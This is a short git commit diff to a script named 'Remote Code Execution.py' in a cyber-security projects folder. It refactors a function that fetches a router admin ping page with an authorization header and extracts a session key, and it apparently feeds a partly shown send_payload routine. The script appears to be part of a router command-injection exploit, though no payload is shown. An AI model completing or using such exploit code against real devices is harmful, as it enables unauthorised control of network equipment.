Improved Session Key Retrieval

blondon1 · web-flow · commit 0da136b5a125 · 2024-02-21T12:28:49.000-05:00
Improved readability and efficiency, it makes use of Python's string manipulation capabilities for extracting the session key
diff --git a/Cyber_security  projects/Remote Code Execution.py b/Cyber_security  projects/Remote Code Execution.py
@@ -22,15 +22,12 @@ def main():
 
 
 def get_session():
-    url =3D router_host + "/admin/ping.html"
-    headers =3D {"Authorization": "Basic {}".format(authorization_header)}
-    r =3D requests.get(url, headers=3Dheaders).text
-    i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")
-    s =3D ""
-    while r[i] !=3D "'":
-        s =3D s + r[i]
-        i =3D i + 1
-    return s
+    url = f"{config['router_host']}/admin/ping.html"
+    headers = {"Authorization": config['authorization_header']}
+    response = requests.get(url, headers=headers)
+    session_key = response.text.split("&sessionKey=")[1].split("'")[0]
+    return session_key
+
 
 
 def send_payload(payload):
@@ -42,4 +39,4 @@ def send_payload(payload):
     requests.get(url, headers=3Dheaders, params=3Dparams).text
 
 
-main()
+main()
